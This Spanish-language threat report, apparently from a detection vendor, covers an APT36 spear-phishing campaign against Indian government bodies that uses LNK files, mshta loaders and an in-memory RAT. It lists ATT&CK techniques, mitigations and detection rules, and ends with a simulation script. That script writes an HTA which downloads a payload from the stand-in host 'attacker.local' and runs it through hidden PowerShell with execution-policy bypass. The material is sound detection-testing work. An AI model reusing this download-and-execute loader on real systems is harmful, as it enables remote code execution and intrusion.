APT36: Campaña de Malware LNK Multi-Etapa Dirigida a Entidades del Gobierno Indio
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
APT36 (Transparent Tribe) llevó a cabo una campaña de spear-phishing que entregó un acceso directo LNK malicioso disfrazado de un PDF. Al abrirse, el atajo lanza mshta.exe para ejecutar un cargador basado en HTA que descifra y ejecuta cargas en la memoria, incluyendo un módulo de configuración y un DLL RAT de funciones completas. El malware selecciona dinámicamente los métodos de persistencia basándose en el producto antivirus instalado de la víctima y se conecta a su servidor de comando y control a través de un canal encriptado. La actividad se evalúa como centrada en el espionaje, con el objetivo de atacar a organizaciones gubernamentales y académicas de India para robar datos.
Investigación
Los investigadores analizaron el inusualmente grande archivo LNK, rastrearon el contenido incrustado del HTA alojado en innlive.in, y realizaron ingeniería inversa de la lógica de descifrado. La cadena reveló dos etapas principales: una carga de deserialización .NET utilizada para debilitar o evadir controles de seguridad, seguida de un DLL malicioso sin archivos (por ejemplo, ki2mtmkl.dll / iinneldc.dll) que proporciona funcionalidad RAT. El comportamiento de persistencia se asignó a productos antivirus específicos, y detalles clave de C2, como puerto TCP 8621 y una clave AES utilizada para el tráfico encriptado, se extrajeron durante el análisis.
Mitigación
Restringir o poner en cuarentena los archivos adjuntos de atajo (.lnk) entregados por correo electrónico, especialmente cuando están empaquetados en archivos ZIP. Aplicar políticas de control de aplicaciones para limitar la ejecución de mshta.exe, PowerShell y otros motores de scripts desde rutas escribibles por el usuario. Utilizar detecciones de endpoint para cadenas de procesos involucrando mshta.exe e indicadores de ejecución de DLL en memoria, y aplicar controles de salida estrictos para bloquear la comunicación con dominios desconocidos o no confiables.
Respuesta
Si se detecta la ejecución sospechosa de un LNK, aislar el sistema, capturar imágenes de memoria y buscar indicadores de DLL en memoria vinculados a la etapa RAT. Bloquear dominios maliciosos identificados e infraestructuras IP relacionadas, y rotar credenciales potencialmente expuestas. Realizar una revisión forense para localizar artefactos de persistencia en la carpeta de Inicio y el registro, eliminarlos y validar que no queden puntos de apoyo adicionales.
«graph TB %% Class definitions classDef technique fill:#cfe2f3 %% Node definitions tech_T1566_001[«<b>Técnica</b> – <b>T1566.001</b> Phishing: Spearphishing Attachment<br/>Enviar correo electrónico dirigido con archivo adjunto malicioso»] class tech_T1566_001 technique tech_T1218_005[«<b>Técnica</b> – <b>T1218.005</b> Ejecución de Proxy de Binario del Sistema: Mshta<br/>Ejecutar HTA malicioso a través de mshta.exe»] class tech_T1218_005 technique tech_T1059_001[«<b>Técnica</b> – <b>T1059.001</b> PowerShell<br/>Ejecutar comandos de PowerShell para descargar la carga útil»] class tech_T1059_001 technique tech_T1059_005[«<b>Técnica</b> – <b>T1059.005</b> Visual Basic<br/>Ejecutar script HTA usando VBScript»] class tech_T1059_005 technique tech_T1027[«<b>Técnica</b> – <b>T1027</b> Archivos o Información Ofuscada<br/>La carga útil está codificada/encriptada en capas»] class tech_T1027 technique tech_T1055[«<b>Técnica</b> – <b>T1055</b> Inyección de Procesos<br/>Inyectar DLL malicioso en proceso legítimo»] class tech_T1055 technique tech_T1547_001[«<b>Técnica</b> – <b>T1547.001</b> Ejecución de Autoinicio en Arranque o Inicio de Sesión: Carpeta de Inicio<br/>Persistir a través de acceso directo en Inicio»] class tech_T1547_001 technique tech_T1112[«<b>Técnica</b> – <b>T1112</b> Modificar Registro<br/>Agregar claves Run para persistencia»] class tech_T1112 technique tech_T1036[«<b>Técnica</b> – <b>T1036</b> Mascarada<br/>LNK se hace pasar por PDF»] class tech_T1036 technique tech_T1518_001[«<b>Técnica</b> – <b>T1518.001</b> Descubrimiento de Software: Descubrimiento de Software de Seguridad<br/>Consultar AV instalado»] class tech_T1518_001 technique tech_T1082[«<b>Técnica</b> – <b>T1082</b> Descubrimiento de Información del Sistema<br/>Recopilar OS, nombre de usuario, etc.»] class tech_T1082 technique tech_T1057[«<b>Técnica</b> – <b>T1057</b> Descubrimiento de Procesos<br/>Enumerar procesos»] class tech_T1057 technique tech_T1083[«<b>Técnica</b> – <b>T1083</b> Descubrimiento de Archivos y Directorios<br/>Buscar documentos»] class tech_T1083 technique tech_T1115[«<b>Técnica</b> – <b>T1115</b> Datos del Portapapeles<br/>Capturar el portapapeles»] class tech_T1115 technique tech_T1113[«<b>Técnica</b> – <b>T1113</b> Captura de Pantalla<br/>Capturar capturas de pantalla»] class tech_T1113 technique tech_T1041[«<b>Técnica</b> – <b>T1041</b> Exfiltración a través de Canal de C2<br/>Exfiltrar datos a través de C2»] class tech_T1041 technique tech_T1573[«<b>Técnica</b> – <b>T1573</b> Canal Encriptado<br/>Tráfico C2 encriptado»] class tech_T1573 technique %% Connections tech_T1566_001 u002du002d>|leads_to| tech_T1218_005 tech_T1218_005 u002du002d>|leads_to| tech_T1059_001 tech_T1218_005 u002du002d>|leads_to| tech_T1059_005 tech_T1059_001 u002du002d>|leads_to| tech_T1027 tech_T1027 u002du002d>|leads_to| tech_T1055 tech_T1055 u002du002d>|leads_to| tech_T1547_001 tech_T1547_001 u002du002d>|leads_to| tech_T1112 tech_T1218_005 u002du002d>|leads_to| tech_T1036 tech_T1036 u002du002d>|leads_to| tech_T1518_001 tech_T1518_001 u002du002d>|leads_to| tech_T1082 tech_T1082 u002du002d>|leads_to| tech_T1057 tech_T1057 u002du002d>|leads_to| tech_T1083 tech_T1083 u002du002d>|leads_to| tech_T1115 tech_T1083 u002du002d>|leads_to| tech_T1113 tech_T1115 u002du002d>|leads_to| tech_T1041 tech_T1113 u002du002d>|leads_to| tech_T1041 tech_T1055 u002du002d>|leads_to| tech_T1573 «
Flujo de Ataque
Detecciones
Archivo LNK Posiblemente Malicioso con Doble Extensión (vía cmdline)
Ver
Comportamiento de Evasión de Defensa Suspicious LOLBAS MSHTA mediante Detección de Comandos Asociados (vía process_creation)
Ver
Binarios / Scripts Sospechosos en Ubicación de Autostart (vía file_event)
Ver
Archivos Sospechosos en Perfil de Usuario Público (vía file_event)
Ver
Ejecución Sospechosa desde Perfil de Usuario Público (vía process_creation)
Ver
IOCs (SourceIP) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
IOCs (HashSha256) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
IOCs (DestinationIP) para detectar: APT36 : Campaña de Malware Multi-Etapa LNK Objetivo en Entidades Gubernamentales de India
Ver
Ejecución de mshta.exe con PowerShell o CMD [Creación de Procesos en Windows]
Ver
Detección de Dominio Malicioso de APT36 y Comunicación C2 [Conexión de Red de Windows]
Ver
Detección de Clave AES Codificada en Campaña APT36 [Sysmon de Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Comprobación Previa de Telemetría y Línea Base debe haber pasado.
Motivo: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa y Comandos del Ataque:
Un adversario ha obtenido acceso de bajo privilegio a PowerShell en una estación de trabajo comprometida. Para ejecutar una carga remota sin escribir un ejecutable en el disco, el atacante usamshta.exepara ejecutar un archivo HTA que extrae una puerta trasera PowerShell de un servidor C2. Los pasos son:- Codificar un HTA malicioso mínimo que inicie PowerShell para descargar y ejecutar una carga.
- Alojar el HTA en un servidor web (p. ej.,
http://attacker.local/malicious.hta). - Desde la sesión comprometida de PowerShell, invocar
mshta.execon la URL remota como argumento.
Esta cadena crea un evento de creación de proceso donde
mshta.exees el hijo depowershell.exe, coincidiendo exactamente con la regla Sigma. -
Script de Prueba de Regresión:
#------------------------------------------------- # Script de atacante simulado – dispara la regla #------------------------------------------------- # 1. Definir el HTA malicioso (en línea para fines de demostración) $htaContent = @" <script> // Descargar y ejecutar una carga útil de PowerShell de demostración var url = 'http://attacker.local/payload.ps1'; var xhr = new ActiveXObject('Microsoft.XMLHTTP'); xhr.open('GET', url, false); xhr.send(); var ps = new ActiveXObject('WScript.Shell'); ps.Run('powershell -NoProfile -ExecutionPolicy Bypass -Command "' + xhr.responseText + '"', 0, false); </script> "@ # 2. Escribir HTA en ubicación temporal (simulando un archivo alojado) $tempPath = "$env:TEMPmalicious.hta" $htaContent | Set-Content -Path $tempPath -Encoding ASCII # 3. Lanzar mshta.exe desde PowerShell (el disparador de detección) $mshta = (Get-Command mshta.exe).Source Write-Host "[*] Lanzando mshta.exe para ejecutar la carga útil HTA..." Start-Process -FilePath $mshta -ArgumentList "`"$tempPath`"" -NoNewWindow # Opcional: Dormir para permitir que se capture el evento Start-Sleep -Seconds 5 # Limpieza (manejada en la siguiente sección) -
Comandos de Limpieza:
# Eliminar archivo HTA temporal Remove-Item -Path "$env:TEMPmalicious.hta" -Force -ErrorAction SilentlyContinue # Detener cualquier proceso mshta.exe que persista (poco probable después de la ejecución normal) Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Limpieza completa."